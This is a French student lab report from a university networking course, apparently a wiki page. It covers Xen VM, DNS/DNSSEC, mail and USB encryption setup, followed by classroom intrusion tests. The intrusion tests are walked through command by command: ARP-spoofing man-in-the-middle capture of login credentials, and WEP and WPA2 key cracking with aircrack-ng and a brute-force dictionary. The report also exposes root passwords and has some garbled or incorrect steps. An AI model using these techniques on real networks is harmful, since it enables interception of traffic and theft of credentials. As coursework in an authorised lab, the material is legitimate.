On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:SSL_Certification_Gandi_Mirage.png&diff=53936Fichier:SSL Certification Gandi Mirage.png2020-11-20T08:53:58Z<p>Aglaine : </p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53935TP sysres IMA2a5 2020/2021 G52020-11-20T08:51:56Z<p>Aglaine : /* renvoie du mail Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
